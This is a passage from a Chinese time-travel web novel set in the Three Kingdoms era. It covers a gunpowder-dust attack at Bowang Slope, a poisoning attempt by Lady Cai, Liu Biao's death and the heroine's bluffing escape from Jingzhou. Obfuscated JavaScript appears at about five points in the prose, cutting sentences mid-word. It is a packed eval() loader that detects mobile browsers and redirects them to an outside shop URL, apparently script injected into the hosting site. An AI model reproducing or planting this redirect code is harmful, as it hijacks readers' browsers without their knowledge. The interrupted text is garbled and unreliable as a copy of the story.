邓义早前在路上悄悄戳破一点麻布袋,知道里面装的是硫磺,明白等会儿必然要撒那让曹军睁不开眼喘不过气的硫磺烟。有这些东西壮胆,他又立功心切,愣是不惧曹军,明知被发现,又向前推进了几十步。 指挥士卒下马卸下风车,待兵士们齐齐上了马,邓义大喝一声:“放烟!”说着猛踢马肚,率众人疾驰而去。 硫磺粉末洒向空中,被风车一吹,吹向曹营。恶臭扑鼻,辣眼睛辣鼻子辣喉咙,呛倒曹兵一片。 曹军众人以为敌军来劫营,营中一时人仰马翻乱作一团,但过了许久,却不见有敌兵趁势杀进来。正疑惑间,又见空中火箭如雨射落,兵士们连忙抬起手边兵器抵挡,却不料这一挡,火箭跌落地面,瞬间爆炸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486231|202025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。南风继续吹着,爆炸将燃烧着的硫磺喷射得更远,引发连锁反应,遍地开花,从南炸到北,炸得几乎将整个博望坡掀了个底儿掉。 原来邓义等人运来的那几代臭东西里头不只有硫磺,还有地霜(硝石)和炭粉。而刚刚被大火烧透的博望坡,角角落落遍地都是炭化的草木。硫磺和地霜一洒,再与遍地的炭渣一混,虽然不能完美凑出“一硝二磺三木炭”的火药比例,却也够了。 粉尘本就易爆,再加上梁爽从现代带回来的化学配比,令博望坡的爆炸,地动山摇。 邓义是一点儿不敢回头,一心只往博望城的方向策马狂奔,而座下马匹受惊,几乎是不必扬鞭自奋蹄,疾驰如飞,牵动着风车转得越发快,掀起大风,将硫磺地霜粉向北吹得更远。 等到连绵不绝的惊天爆炸终于消停,邓义终于忍不住回头,只看见远处天际烧成一片,火舌挑衅着天幕,将天映成赤色,他早已分不清哪里是豫山、哪里是安林、哪里又是博望坡…… 没有回头冲杀的必要,也不会有曹兵能活着逃出这片无边无际的火海来追他了……邓义勒停了马,呆呆立着,大脑一片空白,许久,才有一缕思绪从脑海深处漂浮起来:想必风车早已被烧毁,绳索也烧断了。他就只想到这些。 邓义失魂落魄地回到博望,在城楼里见到了刘先。刘先的神色也是复杂难言。 刘先在城墙上一整日,眼睁睁看着山上火起,继而林中火起,最后博望坡炸得天翻地覆。十万三千曹军,灰飞烟灭。而刘备方的伤亡,不超过百人。 “好大的三场焰火……”刘先向邓义喃喃叹道。 “是啊,好大的焰火……” 黄楚用计出神入化,诡谲至此,他们真的要同她斗么? 二人率诸将连夜赶回荆州,一路沉默寡言,各自内心都有了答案。 14. 联蔡,没成 “有黄楚在,刘备如虎添翼,我等永无出头之日……”蔡瑁听邓义和刘先说完他们所见所闻,环顾诸人,愤慨道:“我辈难道要从此屈居在那大耳贼之下!” 忽有一容貌瘦弱、身材短小之人幽幽出声道:“且蔡将军曾与那刘备有仇,恐怕等到刘备主事荆州之日,蔡将军不只是屈居人下那么简单,而是性命堪忧。在座诸位作为蔡将军多年部下,也都逃不了干系。”此人姓王名粲,字仲宣,博闻强记,又善算术,在荆州被刘表奉为上宾。 邓义偷偷打量着蔡瑁脸色,小心翼翼试探着说道:“可那黄楚,诡计多端,实在不好对付。” 蔡瑁向王粲道:“仲宣,可有良策?” 王粲微微一笑,附耳对蔡瑁这般那般说了一通,蔡瑁边听边连连点头。 邓义和刘先彼此交换了一个疑惑不安的眼神。 王粲绝没有黄楚那样调兵遣将的本事。 只是不知黄楚有没有王粲那样玩弄人心政治的手腕。 刘备部于博望坡再次以少胜多全歼十万多曹军的消息传到了刘表的病榻前。 刘表欣慰一笑,向在旁侍疾的黄楚道:“烧过一次的地方,人人都以为不能再用火攻,你竟然又烧成了一次。”又向蔡夫人笑道:“外甥女如此能干,让她照顾你后半生,我很放心。” 蔡夫人冷冷一笑:“十万人,她眉头都不皱一下地就都杀了。指望这般狠心的人为我养老,我不敢,恐怕她只能提前为我送终。” 刘表一口气喘得岔了,呛了一下,连连咳嗽,婢女们上前为他拍背,好不容易才停,他笑着微微摆手:“不至于,不至于。对敌人与对自家亲戚是不一样的。” 蔡夫人冷笑道:“这丫头六七岁的时候,就敢打她舅舅,个子矮够不着,她一蹦三尺高,跳起来扇她舅舅耳光。” 梁爽一听,暗地里直咋舌:“妈耶,我上辈子这么野的吗?怪不得诸葛亮说我和蔡瑁关系特别差……” 又听得蔡夫人继续道:“她没到十岁的时候,就嘴上不饶人,骂我——”她努力了几次也没能把当年黄楚骂她的话再说出口。 那是得骂得多难听啊……梁爽简直想时光倒流回去把小黄楚的嘴巴缝上。 “那都是我小时候不懂事,在这给姨妈赔不是,过会儿也给舅舅赔不是。”梁爽连忙赔笑:“姨妈,我终究是个跟您血脉相连的人,这血脉是旁人借都借不来的,您信不过我,如何信得过旁人?”刘琮是她养大不假,可到底不是她亲生的。 但蔡夫人并不被她的话动摇:“琮儿是我一手养起来的,他很孝顺,我知道。比、你、孝、顺。” 梁爽见打感情牌打不通,只好换个路数道:“可是姨妈,现在曹操大军逼近,舅舅他们和琮弟都没有退敌之策,只有我有把握击退曹操。您不信任我、不与我合作,等曹操兵临城下,您怎么办?您难道开城投降么?曹操的癖好……您是知道的,恐怕他见您这般貌美,会对您不利啊。” 听见这话,刘表这将死之人眼睛猛然瞪大了一圈。 蔡夫人气得站起来,怒道:“他敢!” 然而梁爽却敏锐地从蔡夫人的神情中捕捉到了她的一丝心虚。 不好,蔡夫人和蔡瑁莫非早就已经打定主意要把荆州拱手相让了?莫非他们,从一开始,就没打算跟曹操兵刃相见? 短短的接触和极少量关于《三国演义》电视剧的记忆不足以让梁爽了解蔡瑁和蔡夫人。他们极有可能比她想象得更怯战、更倾向于投降、更乐于出卖刘表的利益。他们原本就是菟丝花,当然不介意换一棵乔木攀援。 如果她能找回作为黄楚的记忆就好了…… 话题到了这里,一时气氛有些僵硬。 梁爽现在完全没有信心继续说服蔡夫人。 对蔡夫人来说,同意梁爽的方案,她和蔡瑁屈居于刘备之下;投降曹操,她和蔡瑁屈居于曹操之下。曹操贪图美色,她有把握保住自己的性命;而刘备与她和她弟弟却是有仇的。至于这外甥女,她根本信不过。甚至因为发觉外甥女过于聪明,她开始对这外甥女加倍畏惧、加倍提防。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486232|202025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >至于蔡瑁属下的荆州将领们,他们到底会不会因为黄楚二烧博望坡的战绩而对她产生慕强的心态、继而转头追随刘备,梁爽也没有十足把握。 梁爽主动要求和蔡夫人一起侍疾,一方面是为了就近监视刘表的动态,另一方面是为了有更多机会说服蔡夫人。现在她发现自己不但不能说服蔡夫人,反而把自己置于极为危险的境地:她现在身后空无一人,刘关张三人都宿在了城外驿馆,张飞带来的三千兵也在城外,远水解不了近渴,如果蔡氏对她下手,刘备的人根本来不及救她。 怕什么来什么。 就在这时,外面进来一名侍者,在蔡夫人耳边不知说了什么,蔡夫人又捂着嘴悄悄安排了几句,不多时,厨房便端来了两碗红枣黍麦粥。 蔡夫人笑道:“黄楚今日辛苦了,便食用此粥当作夜宵罢。” 梁爽忙笑道:“不辛苦,都是外甥女儿应该做的。且今晚吃得太饱,这会儿肚子还胀呢。” 蔡夫人也不强迫她,先喂刘表喝。刘表摆手示意不要,蔡夫人劝道:“喝一口吧,补一补气血。” 梁爽猜那碗粥必有蹊跷,连忙上前笑道:“姨妈,这粥不好消化,姨父体弱,半夜三更还是睡罢,先别吃了。” 刘表也半合着眼,意思是要睡。 蔡夫人便哭哭啼啼道:“你就从来不听我的!我盼着你好起来,你怎么就不体谅我的心?你这样,我不伺候你了!”说着便站起来,作势要走。 刘表无奈,只得睁开眼,喉咙里挤出几声,意思是要喝。 梁爽慌了,连忙说道:“我来伺候姨父喝。”说着假装一个不小心,将粥打翻。 “怎么回事,还跟小孩子一样毛手毛脚的!”蔡夫人气急败坏斥她道。一面为刘表揩抹,一面又示意婢女将另一碗粥端上来。 见梁爽还想将第二碗粥也打翻,蔡夫人一个眼色,几名侍女一拥而上,将她手脚牢牢控制住。 蔡夫人端着那第二碗粥一步一步走到她面前,说道:“这碗粥,你喝也得喝,不喝,也得喝!” 15. 一心要那荆州(二) 梁爽的脑筋飞快运转。 刹那之间打定主意后,她低头,笑了一下。 见她这一笑,蔡夫人心里便有些没底。毕竟黄楚从小到大都不是省油的灯,刚刚又干了几桩杀人上万的事。这丫头心眼太多了,不得不防。 梁爽笑吟吟盯着蔡夫人,问她:“姨母,你猜我来荆州之前有没有预料到你要做什么?”不等蔡夫人答话,又连珠炮似地追问:“你猜如果我天亮之前没有活着见到刘备,这荆州城里会不会像博望坡一样起火?你猜会是哪儿起火?是你那金碧辉煌巧夺天工的园子,是这座小楼,还是你安置珠宝财产的地方?” 蔡夫人冷笑道:“你休要说大话吓唬我!我吃过的盐比你吃过的米还多。我不像你舅舅,我可不是吓大的!” 哦原来蔡瑁这人胆小。梁爽暗暗在心里记下一笔。 梁爽脸面上仍旧不改笑容:“刚刚进来报信的那个人,是舅舅那边的吧?如果那人还没走,不如姨母让他回去问问舅舅,刘备来的时候,张飞有没有带五千兵马到荆州城外驻扎?现在他的营地里是不是还有五千人?如果不足五千人,那消失不见的两千士兵去哪儿了?再者,昨儿来的那个报信兵收了刘备的好处便敢在上报主公时把十万三千曹军的‘十万’给抹掉,姨母猜一猜这荆州将士上下一共安插着多少被刘备收买的人?这碗粥我可以喝,我不怕,反正若我出了什么事,此地多得是人为我陪葬,姨母到时不妨看看,有没有本事活着走出荆州?”说罢猛地用力甩开侍女擒拿她的手,将那粥往地上一拂,陶碗落地,“锵”的一声摔得稀碎。 梁爽含笑说完了一篇凉飕飕的话,将蔡夫人说得脊背发凉,躺在床上的刘表目睹姨甥二人对峙的场面则是又惊又怒又惧,捱挣着支起身子,伸手欲拉住蔡夫人的衣裳:“妙玥……不可、不可杀黄楚……” “我今日就偏要杀!我还不信了,难不成还被一个破茅屋里我看着长大的黄毛丫头吓住!”蔡夫人恼羞成怒,要去抽墙上挂着的宝剑,梁爽原地站着不动,高昂头颅,颇有一副引颈就戮慷慨激昂的姿态。 蔡夫人身量纤纤弱不禁风,沉重的宝剑双手提都提不稳,被剑的重量坠得踉踉跄跄走来,气势上便先矮了一截。 梁爽笑眯眯望着她:“可惜姨母花容月貌,今夜即将被烈火吞噬,实在可惜。姨父把您千娇百宠,怎忍看您落得如此结局。” 刘表伏在床沿,气急攻心,血脉逆行,虚弱得喘气都艰难,已经无力阻止任何事情发生,只能眼睁睁看着,张开嘴却吐不清字,只能用力挤压肺部,从气管里推出带着浓重痰音的“唉”“唉呀”……浑浊的老眼里漾满了泪。 蔡夫人虽然在气头上,但终究只是色厉内荏,不敢真把黄楚怎么样,只好给门边的侍卫使眼色,让那人去找蔡瑁来拿主意。 蔡瑁先前一直听人报说张飞带来三千人驻扎在荆州城外,他派兵就近监视,自以为没有错漏,乍听说竟然是五千人,瞬间有些慌乱,忙问计于王粲。 王粲道:“必是那妖妇胡诌来诓人的,将军莫慌。” 邓义和刘先等人思来想去,忍不住纷纷劝谏道:“末将们昨日在博望,亲眼见了那妖妇用兵,确实出神入化,常有出人意料之处。别说是暗地里藏匿两千人,就是平地再多冒出上万人,也不奇怪。将军不得不防啊。” 两边各执一词,蔡瑁难以决断。刘先的心里已经偏向黄楚,便补充道:“经昨日一役,黄楚在刘备心目中必然身价倍增。将军若留黄楚一命,将来和刘备之间或许还有转圜的余地;若将军杀了黄楚,便是将刘备彻底推向了东吴,曹操虽然来势汹汹,但昨日被黄楚重创之后士气低下,未必能强过刘备与东吴的联盟。” 最后一句总算是说动了蔡瑁。他是想投降曹操不假,但也要看曹操保存了多少实力。他可不想才将荆州拱手奉与曹操,曹操便兵败如山倒,到时他便如丧家之犬,无论落在刘备还是孙权手里,都不会有好果子吃。 于是蔡瑁问刘先:“依你之见,本将军就这么把黄楚放回去?” 不等刘先答话,王粲连忙截住:“将军万万不可!此乃放虎归山。” 蔡瑁道:“若杀了她,可就从此别无选择、只能跟曹操在一条道上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486233|202025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 走到黑了。风险太大。” 王粲道:“将军只需把黄楚平安送出荆州城,只要出了荆州城,她的生死便与将军再无干系。她刚刚杀了曹操麾下十万多人,若今夜回张飞营地的路上不巧被潜藏在暗处的曹军士兵射了冷箭,刘备可不能把账算在将军头上。” 蔡瑁颔首:“此计甚妙,便依此计。” 副将们欲言又止。 蔡瑁至刘表处,见蔡夫人和黄楚仍在对峙。黄楚淡然站在窗前,蔡夫人坐在桌边怒气填胸,刘表瘫在床上只剩半口气。 蔡瑁暗怨姐姐糊涂:眼下最重要的难道不是为刘表送终、确定由谁辅佐刘琮继统荆州?怎么在这节骨眼上只告诉了他黄楚的态度,却没说明白刘表的病情? 蔡瑁一言不发便先奔至刘表榻前,号哭起来。 刘表用力地动了几下嘴唇,一个音都发不出。 蔡瑁道:“弟这就去叫琮儿和诸将来!” 刘表微微点头,嘴唇继续动。 蔡瑁知道刘表想见刘备和刘琦,但他刻意无视,只吩咐人去请小公子和众将军,还刻意用自己身子将刘表的脸挡住,不令旁人看见。 刘表心知他是何意,奈何没有力气,只能拼尽最后一丝生命,全力伸出手臂大叫数声,试图让诸将明白他心中所想。 “呃——呃——呃……” 然而没有任何人给他回应。 刘表便如同一道短暂的惊雷,轰然震响了荆楚大地,又倏然归于永恒的沉寂。 蔡瑁弯腰为他合上了眼皮。蔡夫人开始哭,刘琮也哭,于是众人收到了信号,一同哭号。 史书里的人物,就这样在梁爽面前鲜活地死去,从此归于史书。梁爽没有时间感慨,更来不及哭,因为现在全场都聚焦于她。 这荆州,会落在谁手?她仿佛一个手持长柄扳手的扳道工,站在历史的分叉口,历史的车轮可能会因她此时此刻的决定而改变轨迹。 而她和孔明两个人的命运,或许也将在此刻迎来急转。 她该怎么选? 进,还是退?刚,还是柔? 16. 诸葛亮骂死的到底是谁来着 蔡瑁泪都顾不上擦,冲黄楚道:“阿楚,我们这里要办丧事,恐怕不便招待你了,舅舅这就派人送你出城。” 梁爽心想:先前报信给蔡夫人让她杀我,现在忽然变得这么主动肯放我走了?就不怕我出城给刘备报信、引刘备率军来攻?事出反常必有妖。 蔡瑁越是急着让她走,她越不能走。就算要走,她也要先想明白蔡瑁的动机和目的。 有没有可能是蔡瑁在向她和刘备示好?绝不可能。从先前蔡夫人的态度来看,“联蔡”的计划已经宣告破产,她对此不再抱任何幻想。 但若说她对“联蔡”的计划有没有留恋不舍,她有。 因为此时此刻她还是很想要兵不血刃地获得荆州。 作为看过《三国演义》电视剧的人,她知道荆州对于统一大业有多重要,她知道为了争夺荆州后来各方发动了很多场战争、死了很多很多人,她绝不想历史按原来的轨道继续疾驰,奔向“樯橹灰飞烟灭”的结局——樯橹只是木头,和樯橹一起灰飞烟灭的是数以万计的人命。 为了和平接管荆州,她好不容易取得了刘表的信任,得到了他的令牌和宝剑。但令牌和宝剑是两件死物,要想让它们发挥作用,要么得到刘表的支持,要么获得诸将的拥戴。 梁爽原本可以暂时依靠刘表的信任,慢慢赢得诸将归心,可惜上天没有给她足够的时间。 白天分开时,她曾告诉刘备,务必每日都携关将军和若干卫兵前来拜见刘表。那时她看刘表气色,觉得至少能再撑几日,然而万万没想到刘表今晚便驾鹤西去。 等天亮刘备来时,一切都已经来不及了。荆州城必然已经戒严,仅凭张飞带来的三千人,从外面强攻绝对行不通。 她暂时没有那么多好的战术可用。二烧博望坡,别人皆赞叹她用兵如神,唯有她自己知道,她不过是将孔明一烧博望坡时的解题思路进行了举一反三,再添加了一点现代科学技术。 以她目前的兵法段位,她只是一个擅长模仿和变通的学霸,还做不到成为诸葛亮那样灵感天成、挥洒自如的学神。 现在,单靠她脑袋瓜里的知识储备和运用程度,别说是设法攻下荆州城,从她的处境来看,似乎连保住自己的性命都难。 这是她穿越回东汉末年以来第一次深深尝到挫败的滋味。 她知道“联吴联蔡”的解题方式一定是对大局最有利的,可她就是达成不了。 她只能走向历史上的“联吴抗曹”,活着从这里走出去,然后和刘备去东吴试一试。 她忽然想到,或许她在史书上读到的“联吴抗曹”,背后也曾有过孔明“联蔡”的失败尝试。 她第一次真实地体会到了孔明在历史上曾面临过的无力感:他知道怎样做是最好的,他为此不懈努力,鞠躬尽瘁,但他最后就是没能做到。聪明如他,也终究没能逃过壮志未酬抱憾离世的结局。 星落五丈原。连苍穹星宿都为他哀泣。 梁爽闭上眸子,沉重地落下了一滴泪。不是祭奠刘表,而是祭奠自己的不甘。 但她没有太多时间感伤,迫在眉睫的问题是,如何保命,如何活着回到孔明身边——如果她死在这里,面对曹操大军压阵的刘备虽然会带孔明逃命,但一定不会像她那样努力保他周全。兵荒马乱之际,昏迷不醒的孔明在乱军中与刘备失散了、受伤了、罹难了,都不会再有人指责刘备,而只会当他尽了力,可惜孔明时运不济。 想到这里,梁爽一下子想明白了蔡瑁为何着急送她走:她一旦出了荆州城,再遭遇什么不测,可就不能怨蔡瑁了。而蔡瑁必定会借这一点,在她从荆州城到刘备驿馆之间的路上除掉她。月黑风高夜,正是动手的好时机。 至于蔡瑁这么做的动机,大概是她在博望坡的表现引起了他的忌惮罢…… 她卖力策划二烧博望坡,原本是为了促成“联蔡”,怎料竟让蔡瑁感到威胁,将他推往了相反的方向。 她对于这乱世人心之复杂诡谲,认知还是太过浅薄。 由于没能找回从前作为“黄楚”的那部分记忆,梁爽时时将自己和黄楚当做是两个不同的人。她不免对黄楚抱以同情:亲舅舅,亲姨母,挥刀向她竟是如此轻易,似乎不需要有太多顾虑。 “我还不能走。”梁爽微笑:“若我在刘玄德将军来荆州接我之前离开此地,我性命难保。而若我出了差池,我留下的两千伏兵便会火烧荆州,就像今日炸平博望坡一样。” 此言一出,四座哗然。 众人或多或少不愿相信黄楚所言为真,但他们却又不敢不信。 博望坡的滔天火浪烫伤了每个目击者耳闻者的神经。 “蔡将军,”梁爽道:“我年华尚好,不愿早早与诸位玉石同焚,所以我们不妨各退一步。我等天亮后主公来接,你们到那时再送我出城。若能依我如此,我就尽撤伏兵。” “若你出了城,却又令伏兵行动呢?”蔡瑁言语间无意中泄露出他相信了伏兵的存在。 “我日后一定会取得荆州,所以现在决不舍得烧了它。烧成一座废墟,他日重建,太费功夫。而且积累下民仇民怨,日后我主统领荆州时,该如何管治百姓?我主刘玄德乃仁慈之主,决不许我祸害无辜平民。” 蔡瑁很是动摇。 王粲开口道:“将军切莫被妖妇骗了。她口口声声有伏兵,却无证据。” 梁爽笑:“我若将伏兵指给你看,那还叫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486234|202025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ‘伏兵’?” 王粲道:“你先前和诸葛亮在南阳耕田种地,又追随刘备流窜至新野,对我荆州城能有多少了解,能埋伏两千伏兵之巨却不被我等觉察?真当我荆州城防是一张破网,全是漏洞?当我们荆州守城的将士们都是吃干饭的?” 梁爽还是笑:“我是蔡将军的外甥,来过荆州数次,如何对荆州不熟?”梁爽敢大胆这么说,还得多亏先前蔡夫人说起黄楚小时候如何跳起来打蔡瑁的脸。黄家远在沔南,梁爽猜测黄楚出生之后见到舅舅很可能是跟母亲回娘家时来了荆州。她继而环顾诸将,说道:“至于我有没有本事安排伏兵而不被你们侦知,我猜今日去新野观战的将军们会有话想说。” 蔡瑁瞟一眼邓义等诸位部将,显然众将的脸上都写着“她有”二字。 王粲一时词穷,大呼道:“将军若白白放走了她,必留后患!” 梁爽见已经成功激怒了他,令他在众人面前失了稳重可靠的形象,自身便表现得越发从容淡定,笑道:“这位先生,我不知道你姓甚名谁,更与你无怨无仇,你如此想催促蔡将军杀我,到底何故?我怎么越听越觉得——你这不是真心为蔡将军谋划,而是见不得女人比你聪明比你强?你嫉妒,你把蔡将军当刀使,不惜诱骗他杀我,来泄你的私愤。你这是对已故刘将军不忠,也是对蔡将军不忠!你是要毁了刘将军的基业,你是要将蔡将军推进万劫不复的深渊!” 王粲被梁爽在众人面前戳穿妒忌用心,已经是羞愤交加,又想起开头被她点了一句“不知你姓甚名谁”,疑似在嘲讽他是无名小辈,越发气愤攻心,竟两眼一黑,向前一头栽倒,吐血不止。 梁爽吓得够呛,出于良心本能而连忙箭步上前和蔡瑁一起扶他,但她不懂医术,也不知怎么去救,只大脑一片空白,听得周围人乱哄哄叫嚷,一名原本随侍刘表的医官上前为王粲把脉,说了很长串的医学术语,概括起来总而言之一句话:人没死,可以救,发病是因为被黄夫人气得…… 听见人没死,梁爽稍微松了口气,但见王粲差点被她气死,她脑海莫名浮现在现代时看过的鬼畜视频:“诸葛亮骂死的王司徒是叫王什么来着……王……王……是王粲吗?好像不是……是叫王什么来着……名字都到嘴边了,可怎么都想不起来了……哎呀,王什么来着……” 梁爽正陷进记忆漩涡苦苦追索,这时感到有一道幽深的目光落在了她身上。她顺着那目光看去,见蔡瑁正以一种先前从未有过的探究神情盯着她。 梁爽不太懂他为何这样,为了不输气势,她不回避,径直与他对视。 “你不是黄楚。你到底是谁。”蔡瑁问。 不只是蔡瑁,在场诸人都产生了相似的疑问。 17. 二气蔡瑁 “我是你爹。”黄楚此言一出,满场皆静,死一般的寂静。 蔡夫人被气得说不出话,其余人则屏气望向蔡瑁,邓义等人疯狂思索如何劝蔡瑁不要一怒之下杀了黄楚但无论怎么想都觉得这很难劝。 时间一分一秒过去。众人屏气屏得快要憋死。 蔡瑁的青筋在额角跳,脸已经红成了猪肝色,他强压怒火,抬起手臂,手指哆哆嗦嗦指着黄楚,扭头看向蔡夫人道:“姐,你看看,你看看!我就说‘三岁看到老’,这死丫头个子还没人腿高的时候说话就能活活气死个人,现在长到二十五六岁还是这副德性,一点儿都没改!” 见蔡瑁如此反应,梁爽紧绷的神经稍稍放松。 为了演得更逼真,梁爽听他说完,还翻了个白眼以示不屑。 她刚刚行的这一招险棋,总算把蔡瑁给糊弄了过去。 她不知道自己之前言行露出了什么破绽才招致蔡瑁对她身份的怀疑。她猜想那大概与王粲有关,但可惜的是她脑海空空如也,完全不知道自己作为黄楚曾与王粲有过什么瓜葛。只能留待回新野时再向诸葛亮打听了。 王粲被人抬下去继续医治,蔡瑁既不敢杀黄楚但又不想搭理她,于是将她刻意无视,开始张罗刘表的丧事。 黄楚为了防止被蔡瑁暗中做掉,需要让自己始终待在众目睽睽之下,于是赖死赖活不离开此地,一直在刘表周围打转,碍手碍脚给蔡夫人他们添乱。既是自保,也是纯纯恶心人。 蔡氏兄妹强忍着恶心,等待天亮。 然而还没等到天亮,就等来了荆州城下叫门的刘备。 刘备听闻黄楚再次火烧曹操十万大军,惊讶与狂喜过后,便立刻陷入对黄楚处境的担忧,连忙命人把张飞请来。 张飞半夜惊醒,以为是出了什么大事,连忙火急火燎赶来见刘备,听刘备说完他的顾虑,张飞道:“哥哥,担心什么?咱们这一仗,让荆州诸人见识了咱们的厉害,谁敢动咱们的军师?刘表又不傻,曹操是来取荆州的,他正盼着和咱们联手打退曹操呢,怎会对军师不利?” 刘备道:“我不担心刘表,我担心的是蔡瑁!蔡瑁心胸狭窄,胆小怯战,他当年连我都容不下,现在有一位谈笑间诛灭十万兵马的军师放在他手里,他如何容得下?刘表一生功业在于荆州,当然不想拱手让给曹操,可是蔡瑁却不会这么想。他并无远大志向,等刘表死后,他替刘琮做主向曹操投降,从此列位朝廷公卿,吃朝廷俸禄,他何乐而不为?刘表的身子不知能撑到几时,军师处境危在旦夕……不行,不能再久等,夜长梦多,久则生变。三弟,你去集结兵士,我们速速去叫门,就说新野有事,迎走军师。” 城楼守兵问是何人扣门,张飞代刘备叫道:“探子来报,曹操大军星夜前进逼近新野,我等来请军师商量退敌之策!请军师速速随我等回去!” 守兵通报给蔡瑁知道,蔡瑁上城楼,借着火把的光一看,见刘关张骑马立在阵前,身后有几千兵士列队,黑压压如乌云一般,想起先前黄楚说的威胁,吓得够呛,强作镇定,说道:“只是来迎军师,三五人足矣,何必兴师动众?” 大嗓门张飞代刘备答道:“蔡将军勿疑勿怕,我等接上军师便好同回新野,并无入侵荆州之意。” 蔡瑁道:“既如此,让士卒后退一百五十步,我们开门,送军师出去。三位将军勿怪,非常时期,我非谨慎处事不可。” 刘备答应退兵,但让张飞和关羽两人到城门边,就近保护黄楚。 梁爽听说刘备来接,心里的巨石终于落地。 她拜别刘表遗体,转而向蔡夫人和蔡瑁道:“舅舅,姨母,请多加保重。但愿后会有期。”二人皆不理她,于是梁爽转身离去。 出了城门,看见关羽和张飞的热切面庞,又远远眺见刘备带来的军队,劫后余生的梁爽有一瞬间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486235|202025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的热泪盈眶。 “军师,什么都不必说了,跟俺们回新野去。”火光下,张飞见这姑娘一眼圈儿的泪,忙说道。 “嗯。”梁爽眼泪汪汪地点头。 梁爽乘车,关羽在前,张飞在后,为梁爽提防着暗箭,谨慎地护送她与刘备汇合。 至此,梁爽终于安全了。 回到军中,梁爽下车便拜:“多谢主公与二位将军特意赶来护我周全。” 刘备连忙搀住她不许她拜:“军师辛苦。咱们回去。” 回新野的路上,梁爽望着车窗外夜色茫茫,听着车马粼粼的声响,心想就算刘关张他们有着他们的私心,但此时此刻,他们真实地让她感受到了这乱世中的温暖。 孔明当年,那般鞠躬尽瘁,除却为了实现他自己的雄心壮志之外,是否也是为了回馈这种温暖呢。 一行人刚回到新野,还没来得及坐下说话,荆州那边派人追了过来,说是请军师归还刘表的宝剑和令牌。 梁爽问那使者:“这宝剑和令牌,是刘将军生前给我的,你知道吧?” 使者点头。 梁爽又问:“那刘将军有说过将它们收回么?” 使者哑然。 梁爽道:“你回去,就把我怎么问的、你怎么答的,原样复述给蔡将军知道。哦对了,你跟蔡将军说,让他猜猜我留在荆州的两千伏兵,带走没有。” 使者走后,刘备道:“军师就算留着这宝剑和令牌,恐怕也难以调动荆州兵马,何必……” 梁爽不以为意道:“我留着它们,虽然不足以调动兵马,但足以把蔡将军气个半死。” 刘备又问:“军师刚刚说的伏兵……” 梁爽道:“没有伏兵。但我把话撂给蔡将军之后,他们这几天肯定要忙死了——忙着把荆州翻个底朝天。否则他们怎么知道到底有没有伏兵?两千人,埋伏在城里,多吓人呐。” 18. 军师谈恋爱路子有点野(一) 氛围温暖归温暖,形势还是很严峻。 曹操受到重挫,士气低落,暂时不会妄动,但这只是一时。等曹操重整旗鼓,号召士兵报仇雪恨,四十万大军陆续杀到,刘备手里小小的几个县城是绝对不足以抵抗的。 非走不可。问题是,去哪? 刘备听闻刘表已逝,为刘表哭了一会儿,说既然刘表遗愿是将荆州传给刘琮,现在也如愿传给了刘琮,他没有理由为了自己的辅政之权去争夺荆州。刘表尸骨未寒,刘备不忍看荆州生变,更不忍对侄儿刘琮操戈。 “主公大义,我衷心感佩。”梁爽闻言叹了口气,感动于他待刘表的情谊,但仍委婉试探着问道:“可是姨父将一世基业托与主公,若主公不对蔡瑁加以阻止,等到蔡瑁将荆州拱手送与曹操,主公可安心?若我能有计策,只剥夺蔡瑁军权,而不伤害刘琮,主公可愿允我一试?” 刘备问道:“军师可有妙计?” 